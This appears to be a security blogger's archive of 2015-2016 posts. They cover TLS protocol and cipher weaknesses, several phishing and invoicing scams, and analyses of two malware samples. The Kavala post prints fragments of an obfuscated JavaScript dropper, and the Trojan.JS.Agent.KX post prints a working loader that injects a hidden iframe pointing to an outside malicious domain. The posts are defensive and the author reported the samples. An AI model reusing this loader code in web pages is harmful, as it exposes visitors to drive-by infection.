TLS Security recap - HTTPS (in)security up until 2016
Friday, April 22. 2016
Past two years have been very interesting for anybody in the HTTPS / TLS scene. There have been couple of really serious security flaws and situation is changing constantly for all stakeholders: security researchers are finding these ever-so-critical flaws, software vendors and open-source projects keep updating their products and system administrators try to keep their software patches up-to-date. I guess that wheel of misfortune rolling is a good thing eventually, because the software will be better in the end. However, right now we're in the middle of turbulent Internet security world and that keeps everybody on their toes. Not cool.
Couple of years back I touched the subject in my post. There I was trying to figure out pretty much the same thing, is HTTPS, Mr. Hursti was making noise about SSL being broken. He obviously knew something, but he wouldn't or couldn't share any details. Today we know that he had it right.
Let's walk trough couple of scary-looking terms that in most conditions turn people away.
SSLv1
Encrypted HTTP or HTTPS was invented by Netscape back in 1993. This particular encryption protocol never saw public action and was soon superseded by SSLv2. This was never a standard accepted by others, it was just something Netscape put together in the early days of The Internet.
SSLv2
First ever encryption protocol used in HTTPS. This is what kept us secure between 1994 and 1996 when the design flaws were publicly annouced. There are quite a few of them.
Regardless of these known serious design flaws, there was almost no impact on usage of SSLv2. This is going to sound ridiculous, but lot of sofware run it enabled out-of-the-box for 15 years. For example, the popular Apache HTTPd had it enabled up until version 2.2.22 released in January of 2012. Of course anybody could manually go and disable it also between 1996 and 2012, but who really did? Nobody.
That's the stuff Mr. Scofield's claims of "Internet being broken" and "SSL being worth a post-it note on the NSA" (see my previous post about that).
SSLv3
This is the first serious attempt on securing the internet. Ever since end of 1995 till end of 2014 the protocol was sound. By that I mean by security community. There are claims that number of government-level organizations knew about the design flaws before that.
As all SSL-versions, this was something Netscape cooked in their labs. Rest of the world were lucky to have this, as Netscape released their specs and source code. Still, this is not a standard. This is what people in The Net commonly say: "SSL 3.0 is not a standard. Realistically, it is "what Netscape was doing at that time". When the protocol was turned into a standard, it became RFC 2246, aka "TLS 1.0"".
TLSv1
First ever standard proposed by IETF, the draft is back from 1996. At the time adoption was slow, everybody were using a prefectly good SSLv3 and there was no real need to start using something that was completely overlapping with that.
In 2014, after POODLE-flaw was expanded from SSLv3 to TLSv1, it meant the end of this (in)secure protocol.
TLSv1.1
First ever RFC 2246 back from 2002. Differences between TLSv1 are on the protocol itself and this version didn't introduce any new methods for encryption.
Also TLSv1.1 is suffering from POODLE and using this cannot be considered as secure.
As security adoption through The Net has been really slow, this is the most recent encryption protocol that can be considered as generally adopted by all client implementations roaming the wild-wild-net. Think of this: we're stuck to the year 2002!
TLSv1.2
At the time of writing this post, there are no known protocol design faults in TLSv1.2. This is the level everybody should be using.
The adoption for TLSv1.2 is quite wide, but enforcing it makes no sense for general public. At intranet use, this would make sense, but in the wild-wild-web, there is always some fool running Internet Explorer 6 and complaining, that "your site cannot be accessed".
This protocol, introduced back in 2006, brought a ton of really good encryption and hashing algorithms adding its usefulness. This is the stuff that makes Internet not broken and secure again!
TLSv1.3
This is something for the future. Not even the server running my blog supports this. When looking at the specs, it really doesn't make as big of a leap forward as TLSv1.2 did. It's just to polish and clarify the protocol.
Ciphers
This is the part where I have lost pretty much everybody. For a layman, reading about differences in protocols is as boring as it gets. But when talking about securing HTTP, having a non-flawed protocol is only half of the story. When a client connects the server (this applies to any encryption protocol, SSH, VPNs, etc.), the parties negotiate following details for the connection:
- Function: Key Exchange
- To keep the connection secure, client and server exchange encryption keys. These keys are used by the bulk cipher. Typically the idea is to keep the exchanged keys as secure and exchange them during connection to make eavesdropping as difficult as possible.
- Read more at: https://en.wikipedia.org/wiki/Key_exchange
- Algorithms: RSA, Diffie-Hellman, ECDH, SRP, PSK
- Function: Authentication
- The idea of authentication is to identify both parties at the time of creating a connection. This is optional. If you think about some of the most popular websites of used in The Net, they don't care about the identify of the connecting client. There are some use cases, where public access is restricted and only authenticated clients may connect.
- Read more at: https://en.wikipedia.org/wiki/Authentication
- Algorithms: RSA, DSA, ECDSA
- Function: Bulk Ciphers
- This is the "beef" of securing a connection. All the data transmitted between parties is encrypted with the purpose of keeping the transmission secure for everybody else.
- Read more at: IBM's knowledgecenter SSB23S
- Algorithms: RC4, 3DES, AES
- Function: Message Authentication
- To avoid any man-in-the-middle -attacks, it is beneficial for both parties to stamp all transmissions by a seal-of-authentication. This is necessary to keep away any third parties trying to tamper or inject any extra traffic into existing connection. This can be considered as "the other party is still the same guy we spoke earlier with and the message hasn't been altered in-transit".
- Read more at: https://en.wikipedia.org/wiki/Message_authentication_code
- Algorithms: HMAC-SHA256, HMAC-SHA1, HMAC-MD5
This quadruple is called a cipher suite or cipher for short. It can be used to describe the used algorithms in detail. Also note, that it is possible to run an "encrypted" connection without one or some of the functions. In quotes, because not having message authentication, or a bulk cipher at all is insane. It pretty much defeats the complete idea. Such ciphers do exist in the specification.
This issue of choosing a cipher suite for encrypted communication is vital and overlooked by uneducated sysadmins. Fact is, some ciphers are insecure by design and/or have serious implementation failures.
A complete list of all possible cipher suites is available at IANA web site: Transport Layer Security (TLS) Parameters. It has 326 ciphers defined and starts with the most insecure option there is:
"0x00,0x00",TLS_NULL_WITH_NULL_NULL
The line of 4 NULLs reads: no key exchange, no authentication, no bulk ciphering and no message authentication
Last one in the list is:
"0xCC,0xAE",TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256
That reads: RSA key exchange, pre-shared-key authentication, ChaCha20 Poly1305 bulk cipher, with SHA-256 message authentication
Cipher faults
The algorithm issues described below apply to all SSL and TLS protocol versions. You can be using TLSv1.3 and still be at risk of revealing your entire transmission to a listener.
Actually some attack vectors work by targeting a protocol design flaw to use a weaker cipher suite (for example POODLE), thus rendering the entire protocol useless. On the other hand: the attack can be mitigated by disabling any weak ciphers from the system. Sometimes that cannot be done or cannot be done reliably.
RC4 or Rivest Cipher 4 or Arcfour
Using RC4 as a bulk cipher algorithm is stupid, it is one of the oldest algorithms and it's weaknesses are public knowledge. For details, see the article Attack of the week: RC4 is kind of broken in TLS. The short version is, that it is possible to guess the encryption key by simply analyzing encrypted data. Surely the keys will be exchanged eventually, but any listener can guess the next key too.
CBC or Cipher Block Chaining
This is another block cipher. CBC itself isn't flawed. How it was implemented in SSLv3 and TLSv1 is. See article Security of CBC Ciphersuites in SSL/TLS: Problems and Countermeasures. The attack is quite complex, but it is there. If a 3rd party can alter the packets in transmission, eventually the used encryption key can be calculated from the responses for these packet manglings.
TLSv1.1 actuallyl fixed the flaw in the spec and implementation, but still ... it's game over for CBC. It's hard to find details why, but even the improved CBC3 on TLSv1.1 is flagged as being insecure. That is beyond me why.
SHA-1 or Secure Hash Algorithm 1
SHA-1 is used for message authentication. SHA-1 is the 160 bit version of SHA. The modern versions have 224, 256, 384 or 512 bits for increased security. The weakness of SHA-1 is described in articles When Will We See Collisions for SHA-1? and SHA1 Deprecation: What You Need to Know.
The problem here is, that if you'd have enough money, time and electricity, you could buy 10.000 PCs with super fast GPUs and simply brute force all the possibilities, it would be possible to create a hash collision with some data that would produce the same hash or with luck actually figure out what the original hashed data was. The possibility of somebody doing that is so likely, that this hashing algorithm cannot be trusted anymore. I guess we've learned something from the past?
Final thoughts
The situation isn't that bad. It used to be really bad. If you're one of those luddites running old operating system, old web browser, old cell phone, then you're doomed. Your toys are badly crippled and offer no serious security. You're too ignorant to care, also.
If your gear was released 2-3 years ago, then you're in a good place. Your stuff is configured to run in much smarter way, than the next guy's Windows XP with IE 6.
Technically the situation is bit more difficult. It is pretty much impossible for a Regular Joe, like your and me, to make a choice for the used cipher suite. Protocold dictates, that server is offering the capabilities and the strongest one is chosen. Good thing is that defaults in most commonly used software have improved. A lot, actually. Also lot of public awareness has been raised so, that admins check their settings. But ultimately, it is the system administrator who makes the final say if his/her server is configured to run safely or not.
While at it, I'd like to offer my seal-of-approval to Qualsys SSL Labs and their SSL test service located at https://www.ssllabs.com/ssltest/. That's my #1 weapon-of-choice when testing my server configs. The good thing about that service is, that it is accurate and free-of-charge. Thanks Qualsys for your great service!
Safe browsing to all!
Dissecting W32/Kavala Malware loader
Thursday, February 25. 2016
My honeypots draw in all kinds of waste. Lately I've been getting lot of "invoices", Russian Rolex resellers and ball bearing ads from China along with the usual crap. I keep combing trough all that muck in case there are hidden pearls among them. Today there was.
This was actually my 2nd encounter with Kavala (the joke here is: word "kavala" in Finnish means "treachreous" or "wily"). This treacherous thing lures in via e-mail in a .zip-file, then you have to be stupid enough to try to open it, at which point it will execute some JavaScript-code to download and install a very nasty piece of rootkit into your Windows-box. While part of the bot-net, your trusty PC will be spewing out spam to innocent people like me. Totally un-cool.
So, here goes the story from beginning. I got his e-mail from Ukraine:
Subject: New payment for tax refund #00803769
X-PHP-Originating-Script: 1000:post.php(3) : regexp code(1) : eval()'d code(17) : eval()'d code
Date: Thu, 25 Feb 2016 07:01:36 +0000
From: "Internal Revenue Service"
You are receiving this notification because your tax refund request has been processed.
Please download attached copy of the wire transfer confirmation from the bank.
Transaction type : Tax Refund
Payment method : Wire transfer
Amount : $ 3095.00
Status : Processed
Form : 15613C
Additional information regarding tax refunds can be found on our website:
http://www.irs.gov/Refunds.
Regards,
Internal Revenue Service
Address: 1111 Constitution Avenue, NW
Washington, DC 20224
Website: http://www.irs.gov
Phone: 1-800-829-1040
Last time it was from "American Airlines", my tickets were in the e-mail. See details of that scam here.
The interesting part of that "IRS" tax refund e-mail was the attachment. It was a .zip-file containing a single file named Tax_Refund.doc.js
.
Contents of the JavaScript-file is a single line of code and when wrapped, it goes something like this:
var a23= '555D545E0C0B1710090517100116240E05160D4A1011160F0D0 E5E17505E55505152575C575C51505E55',h46='it',c72='azo ',f82='eval',p66=' {',b45='reat',r72='p://',k50='"AD ',g4='ject(',e26='ody',j62='1"',z95='; br',m55='WScr ws.',q27='Scr',b6='io',p64=' { fo',j20=' (',v81='+n+ d',q39='.XM',c11='d(',g44='atch ',n66='Scri',c71='xa ',t57=' xo',t53='&rnd',d44='m")',l45='rea',e59='o.op c60='n =',q43='er) {',q48='ans.c',w34='; };',l60='en ,i92='atus ',w5='te-',y40='ar i=',o45='== 2',z54='; i',r70='if',i47=' { ',g0='; x',h88='im',l11='); i',u var',y74='eObje',b14=' x',q72='a.pos',x82='=60',m7=' 'tring',x0='var d',j73='ject(',r33='re',u7='n, ',m87 '3; n',h41=' tr',g72=t9+'b = '+b69+n19+'ux-p'+p83+'c '.r'+h42+'antr'+q48+'om".s'+t46+'it'+l36+'"); v'+q25 r59+' fn ='+x83+y15+'dEnvi'+'ronm'+l60+i49+'s('+'"%' s70+'0010'+j62+m46+t57+' = '+m55+'pt.C'+'reat'+n50+j 'ri'+q82+r33+'ateOb'+g4+k50+k8+p24+l45+d44+z54+'va'+
That's completely obfuscated crap. When beautified, it's still obfuscated crap:
q99 = ',2);',
l48 = '3; n',
h41 = ' tr',
g72 = t9 + 'b = ' + b69 + n19 + 'ux-p' + p8
o36 + h88 + 'e.co' + c95 + c72 + 'lk.
'antr' + q48 + 'om".s' + t46 + 'it' +
' W' + q27 + g49 + b45 + y74 + v36 +
r59 + ' fn =' + x83 + y15 + 'dEnvi' +
'TEMP' + h24 + k16 + 'trin' + 'g.fro'
'0010' + j62 + m46 + t57 + ' = ' + m5
m7 + q39 + 'LHTT' + 'P"' + w46 + 'var
r33 + 'ateOb' + g4 + k50 + k8 + p24 +
'd = ' + m60 + 'or (v' + 'ar n=' + '1
'r (v' + y40 + j38 + '<b.l' + 'engt'
'; try' + p66 + b14 + e59 + s38 + '("
']+"' + '/cou' + 'nter/' + '?id="' +
'"+' + u7 + 'fals' + u88 + '; x' + 'o
i92 + o45 + '00) ' + '{ x' + p20 + 'p
' xa' + '.wr' + m87 + 'e(xo' + '.resp
'a.si' + w41 + '1000)' + t21 + u60 +
'0; xa' + '.sa' + s51 + 'File' + j29
u54 + 'ws.Ru' + 'n(fn' + v81 + 'exe'
g44 + n48 + b56 + '}; };' + ' xa' + '
r70 + ' (d' + c60 + '= 1) ' + '{ l' +
'} ' + 'cat' + 'ch' + j20 + q43 + ' }
new Function(f82 + '(g72)')();
The good parts are what f82
and g72
contain. This is the obvious:
f82 = 'eval'
So, g72
contains all the nicely concatenated code in a single line. When beautified, it starts with following lines:
var ws = WScript.CreateObject("WScript.Shell");
var xo = WScript.CreateObject("MSXML2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
Rest of the code was simply utilizing the newly created objects to go HTTP GET a "GIF-file" and save it into %TEMP%
as an .exe. Finally, the code just executed all of them.
What every developer notices instantly is, that you cannot expect to use WScript in your code, unless you're running Internet Explorer or Edge as your browser. Still, that just limits possible victims. Most likely to just those ones who don't understand not to open the attachment.
There were three innocent sites around the net where the payload was loaded. It got all of them to confirm. Now that I had all the moving parts, I went to F-Secure website to submit my findings. The address is: https://www.f-secure.com/en/web/labs_global/submit-a-sample
I gave all the details and soon enough, there was an e-mail in my inbox from them:
They analyzed my findings and added it to their malware fingerprint database. I checked their most recent threats-list, and yes! I made it. There it was:
Lot of nasty and wily stuff floating around in the net. Be careful out there!
What is the going price for ... ?
Thursday, January 21. 2016
Just something out of one honeypot:
INbox mailer ==>> $7 Smtp Inbox Ip ==>> $ 10 Smtp inbox Domain ==>> $8 Smtp Unlimited ==>> $20 Shell ==>> $4 cPanel ==>> $5 RDP administrator ==>> $15 RDP user ==>> $6 SSH ROOTS ==>> $8 Emails Leads Individual 100,000 ==>> $25 Emails leads Co-operate 100,000 ==>> $50
If you're paying more than that, they're ripping you off.
Since the product descriptions are quite terse, I'm not sure what is an "INbox mailer", or what's the difference between "Smtp Inbox Ip" and "Smtp inbox Domain". A "Shell" or "cPanel" is self-descriptive, that's a simple access to *nix or a web-based hosting system. RDPs are for Windows remote access. But if you're buying 100k e-mail addresses, why are co-operate ones twice as expensive? That I don't know.
If you purchase those services, please let me know!
Apple iPhone 7 giveaway scam
Wednesday, November 18. 2015
Looks like I'm on a roll. I was home watching a movie and while at it, I got interested about an actor in it and his other work in TV. In normal situation, I'd just flip open one of my laptops, but none were at arm's reach. However, my iPad was. For any movie buff like me, the one an only definite site is Internet Movie Database, or IMDb. Their mobile site is pretty good, but I wanted to give their iOS app a go.
The Incident
I installed the app, and went to iOS Safari to google something, which I don't even remember anymore. Pretty much when I opened the Safari something really weird happened (unfortunately for most of the readers, all of this is in Finnish):
My iPad was selected out of 20 Finnish ones, to get a free iPhone 7 in 2016 when it will be released. WTF!!? For a split second, I - a seasoned software security professional, thought "wow, I'm must be really lucky!" Then the experience kicked in: "This is a scam!" At that point I started taking screenshots of everything I saw on the iPad screen.
Once I got rid of the modal alert-box, there were four bogus questions of "Do you own an Apple product?" and about the future features the iPhone 7 should have and the final one about "Do you have an address in Finland which can be used to deliver your iPhone 7?":
After those, there was a fake "check" for eligibility and a smooth transition to customer testimonials page:
The language was horrible all the way. Finnish is a tricky language for anybody else to master in a believable manner. For example the month name "Elvember" doesn't mean anything in Finnish.
Finally, when I clicked the large blue "yes, gimme my free gift" -button, I ended up in even weirder page asking my personal information:
At this point I lost interest. I have no clue, that's their end game and what they would be using my information for, but I simply didn't want to even enter any fake info there.
Question 4 about address may point to some sort of smuggling scam, so that the unfortunate address would be used to send some sort of contraband which the criminals would liberate from mailbox before nobody notices. I have no proof of that happening.
The Injection
At this point, the relevant question was: What the hell happened?
Where did that page arrive into my Safari? Isn't iOS supposed to be the safest mobile OS there is? Is it really that easy to get past security? What did I do wrong to allow this to happen?
The good thing with this was that I was running in my own Wi-Fi. There I have a basic setup to keep me informed what's going on, so to the logfiles I went:
- 18.11.2015 18:22:13: App Store was started, lot of requests made to load data and graphics for it
- 18.11.2015 18:22:18: A search was made to App Store, it was me searching for "imdb"
- 18.11.2015 18:22:49: 14,801,031 bytes were downloaded from Apple's cloud, that was me downloading the IMDb app
- 18.11.2015 18:23:05: Lot of traffic into various resources to initialize the loaded app. Partial list of sites:
- http://ios-app-config.media-imdb.com/6.3.1/ipad.json.gz - iPad configuration in JSON-format from IMDb
- http://b.scorecardresearch.com/ - Market research company
- http://aax-eu.amazon-adsystem.com/ - Amazon, Inc. advertisement system, they own IMDb
- http://ia.media-imdb.com/ - Image server for IMDb
- https://api.imdbws.com - Unknown IMDb server
- https://app.imdb.com - Unknown IMDb server
- https://gsp-ssl.ls.apple.com - Unknown Apple server
- https://fls-na.amazon.com - Unknown Amazon server
- 18.11.2015 18:24:43: Safari was launched,
- http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/ was loaded
- 18.11.2015 18:29:35: Questions were completed
- http://bit.ly1bddlxc.com/click - start of redirecting
- http://trkyad.com/ - middle point
- http://forbrugerpost.dk/campaign/iphone6s/ - personal information form
- done
IMDb app pulled in some garbage and triggered the page load into my Safari. Unbelievable!
If you want to study my movements, here is the logfile:
iPhone7scam-10-squid_access-iPad-abbreviated.log
I have omitted the IPv6 address of my iPad, it will be displayed as 2001::87b4, which is obviously not the address.
Motive and opportunity has already been explained, when it comes to means, the Objective-C code to open a page in iOS Safari from an app would be a single line:
[[UIApplication sharedApplication] openURL:[NSURL URLWithString: [@"
apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/"]]];
In my opinion an outside threat is not feasible, this had to be an inside job.
The Facts
A simple kick into Google search engine revealed for example Possible Iphone 7 Scam at Apple discussions. This has been going on since July 2015, at least, possibly earlier.
The page I was forced to go was http://apple.com-freegiveaway.com/sweeps/custom/fi/lp25_46ulp/
Couple of queries for the DNS and ICANN whois:
# host apple.com-freegiveaway.com
apple.com-freegiveaway.com is an alias for com-freegiveaway.com.
com-freegiveaway.com has address 54.194.31.154
com-freegiveaway.com has address 54.77.203.0
com-freegiveaway.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
At the HTML-source of the freegiveaway.com-page, the redirect to the personal information form is at bit.ly1bdDlXc.com, but the actual form is at forbrugerpost.dk, a Danish domain. Querying for those:
# host bit.ly1bdDlXc.com
bit.ly1bdDlXc.com is an alias for h918i.voluumtrk2.com.
h918i.voluumtrk2.com has address 52.28.97.9
h918i.voluumtrk2.com has address 54.93.143.19
# host trkyad.com
trkyad.com has address 198.254.77.23
# host forbrugerpost.dk
forbrugerpost.dk has address 191.235.217.33
forbrugerpost.dk mail is handled by 10 mail.forbrugerpost.dk.
forbrugerpost.dk mail is handled by 100 backup-mx.zitcom.dk.
ly1bdDlXc.com:
Registrant Contact
Name: Registration Private
Organization: Domains By Proxy, LLC
trkyad.com:
Registrant Contact
Name: H Pieters
Organization: Your Product In Mind
Domain name: forbrugerpost.dk
DNS: forbrugerpost.dk
Status: Active
Created: 2007/11/07
Registrant:
Userid: FA7610-DK
Name: FORBRUGERPOST ApS
Address: Skibbrogade 3, 2.
Zipcode & City: 9000 Aalborg
Country: Danmark
Phone: +4588888484
IP-address owners:
# geoiplookup 54.194.31.154 54.77.203.0 52.28.97.9 54.93.143.19
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, 07, Dublin, Dublin, N/A, 53.333099, -6.248900, 0, 0
GeoIP ASNum Edition: AS16509 Amazon.com, Inc.
# geoiplookup 198.254.77.23
GeoIP Country Edition: US, United States
GeoIP City Edition, Rev 1: US, CA, California, Newport Beach, 92663, 33.626701, -117.931198, 803, 949
GeoIP ASNum Edition: AS19994 Rackspace Hosting
# geoiplookup 191.235.217.33
GeoIP Country Edition: IE, Ireland
GeoIP City Edition, Rev 1: IE, N/A, N/A, N/A, N/A, 53.347801, -6.259700, 0, 0
GeoIP ASNum Edition: AS8075 Microsoft Corporation
Conclusions: services are running in Ireland, Amazon and Microsoft data centers and Rackspace, California. Domains are hidden behind proxies so, that the real owners of the domains are hidden. Even the Danish one is proxy-owned. About the Dutch one registered to Rotterdam, I'm not sure, that could be a real one. They use it only for redirect, maybe because they don't want to burn that so soon.
The Outcome
For the record, I'm talking about IMDb app version 6.3.1:
And there was no way, I was letting that piece of garbage pop up any more stupid questionnaires:
... the app needed to go. I didn't trust it for a second.
As I can almost hear you screaming already: "But you didn't prove, that it was the IMDb app! All of this is merely a coincidencee".
Sure, that's true. Even with my debugging skills, looking exactly at an app and tracing it in detail would take a very long time. Which in this case I didn't do. However, my proof is in the fact, that I haven't installed any apps for weeks. My Safari didn't display that stupid questionnaire page earier that day, but after installing and running the IMDb app, it did. I'm sure nobody really knows what the app loads and executes, I have proven, that it consumes a lot of data through network.
Also, I'm not a big believeer of coincidences:
Mycroft: “Oh Sherlock. What do we say about coincidence?”
Sherlock: “The universe is rarely so lazy.”
... there really aren't any.
Unfortunate encounter with Trojan.JS.Agent.KX
Tuesday, November 17. 2015
I was surfing the other day, and suddenly ding-ding-ding, a warning! I wasn't looking for trouble, but trouble found me, again.
That box makes appearances rarely, but typically I know about it's going to happen. This time I didn't expect that. The site I went to was just a regular one, not one that in any normal circumstances would raise any red flags. My automatic second thought was "a false positive", but there it was:
Based on the scanning reports, it looks like all of the static JavaScript files on that site were infected. A closer look into a file:
function null_check() {
var e = "none";
if ("none" != e) {
var t = document.getElementById(e);
void 0 != typeof t && null != t && (t.outerHTML = "", delete t)
}
}
function browser_version_check() {
return document.all && !document.compatMode ? !0 :
document.all && !window.XMLHttpRequest ? !0 :
document.all && !document.querySelector ? !0 :
document.all && !document.addEventListener ? !0 :
document.all && !window.atob ? !0 :
document.all ? !0 :
"undefined" != typeof navigator.maxTouchPoints &&
!document.all &&
ie_check() ? !0 : !1
}
function ie_check() {
var e = window.navigator.userAgent,
t = e.indexOf("MSIE ");
if (t > 0) return parseInt(e.substring(t + 5, e.indexOf(".", t)), 10);
var i = e.indexOf("Trident/");
if (i > 0) {
var n = e.indexOf("rv:");
return parseInt(e.substring(n + 3, e.indexOf(".", n)), 10)
}
var o = e.indexOf("Edge/");
return o > 0 ? parseInt(e.substring(o + 5, e.indexOf(".", o)), 10) : !1
}
function user_agent_check() {
var e = window.navigator.userAgent.toLowerCase();
return /(android|bb\d+|meego).+mobile|/i.test(e.substr(0, 4)) ? !0 : !1
}
var intervalTimer = setInterval(function() {
if (null != document.body && "undefined" != typeof document.body) {
if (clearInterval(intervalTimer), "undefined" == typeof window.loaded_into_this_window) {
window.loaded_into_this_window = 1;
var e = ie_check() && browser_version_check(),
t = !e && !!window.chrome && "Google Inc." === window.navigator.vendor,
i = -1,
n = "http://hjjdgwtwgfgfdg.tk/052F";
if (user_agent_check() && 1 == i)
navigator.userAgent.match(/iPhone/i) || navigator.userAgent.match(/iPod/i) ?
location.replace(n) : (window.location = n, document.location = n);
else if (e && !t && !user_agent_check()) {
var o = '<div style="position:absolute;left:-3532px;"><iframe width="10px" src="' +
n + '" height="10px"></iframe></div>',
a = document.getElementsByTagName("div");
if (0 == a.length) document.body.innerHTML = document.body.innerHTML + o;
else {
var d = a.length,
r = Math.floor(d / 2);
a[r].innerHTML = a[r].innerHTML + o
}
}
}
null_check()
}
}, 100);
Quite simple piece of code. It was heavily packed, so I beautified it and renamed the obfuscated function names and variables. The regexp for user agent detection was a mile long, so I shortened it by about 2000 characters. Anyway, the basic functionality of the code is to create a timer for 100 milliseconds, which when triggered on a non-mobile client create a hidden IFRAME 3532 pixels left of the user agent's viewport containing web page from http://hjjdgwtwgfgfdg.tk/052F ... which to my disappointment was already taken down. So, I didn't get to see what the actual payload was. The above code is only a loader, a means to lure the actual trojan into your box. I guess it would contain some sort of exploit in it, but as I said: some nice person already took that domain down.
How the trojan loader was injected was a no-brainer. A simple HTTP-request for /readme.html indicated, that the site was running WordPress 4.3.1, which at the time of investigating was the latest stable release. The server is running a Debian 6, a way outdated Linux distro released in February 2011 reaching end-of-life in couple of months. The thing is: Wordpress is a leaky bucket having constant flow of security alerts. Also, I know for a fact, that Debian 6 also has couple of holes here and there. So, points of entry are available for those automated bots injecting the loaders.
Anyway, I ended my investigation happy. My own box reacted as it should and the threat had been taken down already. Also the site in question was taken off-line in a couple of hours after me filing an abuse report to their ISP. All was good for a brief time ... until next incident occurs.
Apple ID Scam: Part 3 - Your Apple ID is on Hold
Sunday, October 25. 2015
One of my honey traps got one interesting one. Typiacally the junk is 419 scams, and with all the variations, twists and quirks, they offer very little worth reporting. I have written posts about Apple ID scams earlier, part 1 and part 2.
This is how the "roper" is trying to lure me in. He chose to impersonate the CEO of Apple Inc, Mr. Cook. Really believable, IMHO.
Here goes:
Dear Customer,
We have detected an unauthorized sign in on your Apple ID (me@my.mail)
We have temporarily locked your Apple ID for your safety.
While your Apple ID is locked access to Apple software and your iCloud is limited.
In order to unlock your Apple ID Account please click here.
Privacy
Security and privacy are fundamental to the design of all our hardware, software, and services, including iCloud and new services like Apple Pay. And we continue to make improvements. Two-step verification, which we encourage all our customers to use, in addition to protecting your Apple ID account information, now also protects all of the data you store and keep up to date with iCloud.
We believe in telling you up front exactly what's going to happen to your personal information and asking for your permission before you share it with us. And if you change your mind later, we make it easy to stop sharing with us. Every Apple product is designed around those principles. When we do ask to use your data, it's to provide you with a better user experience.
Our commitment to protecting your privacy comes from a deep respect for our customers. We know that your trust doesn't come easy. That's why we have and always will work as hard as we can to earn and keep it.
Tim Cook
CEO, Apple Inc.
Sure, it could have been true. It could be possible, that my Apple ID was put into hold because somebody attempted to hack it, but it wasn't.
Findings:
- The Apple logo in the HTML-version of the e-mail was loading from http://i.imgur.com/zGVkgD1.png. I don't think Apple corporation would do that.
- The link to unlock pointed into http://support.apple.com.en-gb.confirm.id.auth.cgi-key.myapple-unlock.web.user.<THIS-PART-REMOVED>.com, which really doesn't sound something that Apple would use.
- Actually, at the time of writing, entire domain was removed. It's not available, no DNS, no nothing.
- The domain was registered via Todaynic.com, Inc. That is a Chinese domain-company. Really! I'm sure Apple wouldn't use them.
- Registrant for the domain was a private person, allegedly living in Beijing, China.
- The e-mail has following route:
- Original client at Suddenlink Communications DHCP-pool. IP has location of Greenwood, Mississippi, USA
- Mail relay via Power DNN of Omaha, Nebraska, USA
- Google Mail
- Me
- Mail route doesn't make any sense. All my real Apple e-mail originates from Apple directly, not via obscure teleoperators.
I think that's plenty of proof to call that one a fake!
Suomen yritystietopankki SYTP - Anatomy of an Invoicing scam (Finnish)
Tuesday, October 13. 2015
The mailman brought me a nice and official looking letter. I didn't recognize the sender from the envelope, so I just opened it as anybody would do. It was in invoice from a Finnish company I've never heard:
On a cursory glance it says I have to pay 249,- € for this company for something they really don't specify.
By Googling, I found a (Finnish) thread about that at http://murobbs.muropaketti.com/threads/suomen-yritystietopankki-sytp-huijauskirje-nigerialaiseen-tapaan.1254838/.
Timing
Why do I receive this today, on this Tuesday? "By chance, they just happened to act now", pretty much everybody says.
I don't. Its a school holiday week in Southern Finland this week. A lot of companies are using less experienced personnel in their daily operations this week. A social hack will work much better to untrained people.
Invoice, front
On the invoice they have all my details. However, as many countries, also Finland has a public registry of all the companies and corporations at YTJ. The information is actually on sale as bulk in many formats and you can even subscribe to a update-stream to always have the most recent information at your own use in a server processable format. So, they got all that right to drop all doubt that I might have.
Corporate Info
This is the upper right corner of the invoice:
It doesn't have the business ID. All legit companies have it there clearly visible. That's because the VAT legislation forces you to have your BIS available easily. The information can be read in a very fine print next to their payment information.
Their business registration information is as follows:
It says, that the company was founded in November 2014. However, they activated this company into VAT-registrer September this year. I read that as somebody just popping a shelf-company out of desktop drawer into action.
The really funny thing is, that they don't have a phone number in their info. That's more than weird for any legit business. Typically you want to be contacted when needed.
Corporate Address
The address in Finland as stated by the "invoice" (Google Maps):
Lautatarhankatu 6
00580 HELSINKI
It happens to be 1Office's Helsinki location. These scamsters will have a seemingly legit office location. In a place where a virtual address will cost them no more than 65,- € per month.
The bold part
This is what they want you to look at:
That information would be typical for an invoice. Invoice date, due date, reference and amount. If you don't look closely enough, you would process this one and have it paid at due date.
The real deal
For legal reasons, they don't say Invoice anywhere in the "Invoice". They say, it's an offer to publish your company information upon payment:
If that monster of a term sounds confusing to you, good, that's their intention. In a court of law, they'd just say that they sent offers to companies. However, their "offers" look very much like invoices.
The text in the middle is saying in a threatening manner: "we will remove your business information from our records, unless you pay this amount" is really funny. What I'd love to have is my information removed!
To make all that more threatening, they're saying that "if you want to re-enable your record, the cost will be 540,- €". That's ballsy!
Bank information
It would be a safe assumption that the bank account FI39 570 4320 0254 68 is a valid one. They'll most likely accept any money you'll send to them. In case of trouble, don't worry, you won't get it back.
Corporate Website
Domain
The domain of suomenyritystietopankki.fi is registered to Suomen Yritystietopankki SYTP Oy, 2654517-2.
That is not surprising, but the fact that there is a responsible person for domain is a surprise. The name they gave is: Gyula Katona. I would find it hard to believe, that the Hungarian mathemacian has anything to do with that domain. Most likely fake information.
The technical contact is Domain Directors (Finland) Oy. Yet another valid company, but it is not in tax prepayment or VAT-registers. That is a definite sign of non-active company frozen and shelfed. I tried calling Mr. Tony Lentino at +358 942597854, but I got call forwarded to somewhere in Europe over the crappiest VoIP-line there is. I really couldn't understand anything.
DNS is run by Amazon Route 53 at multiple geographical locations. MX-records in e-mail indicate, that their e-mail is handled by Google Mail.
Implementation
This is what their website looked like when I visited it:
It contains couple of pages and some seemingly working actions. I omitted the valid companies from the picture, but the obvious English review of Fortune Motors Oy kind of sticks out. The business is real as all the businesses they're displaying on their front page. This is the business record for that particular company:
Looks like that Finnish company is already out-of-business. And that's what they're using for an endorsement!
Based on the information they're giving out on a HTTP-request:
The cookie they're setting says Laravel framework. Server is running Apache 2.4.7 and PHP 5.5.9 on Ubuntu Trusty (14.04).
Hosting
The IP-address of 52.5.91.166 is registered to Amazon, Inc. Actually the entire CIDR 52.0.0.0/11 is Amazon Web Services' property. There is an Amazon US East data center at Virginia, USA, where the geo IP location of that address points to. So it would be safe to guess, that the web server runs on AWS US East.
Invoice, back
This are their terms and conditions:
That's mostly legal mumbo-jumbo. The text is valid and appears to be legit. The terms are really bad for you, though.
Conclusions
All this says, this is an international operation. All the data is spread over foreign locations to make any investigation really hard without US Department of Justice involved.
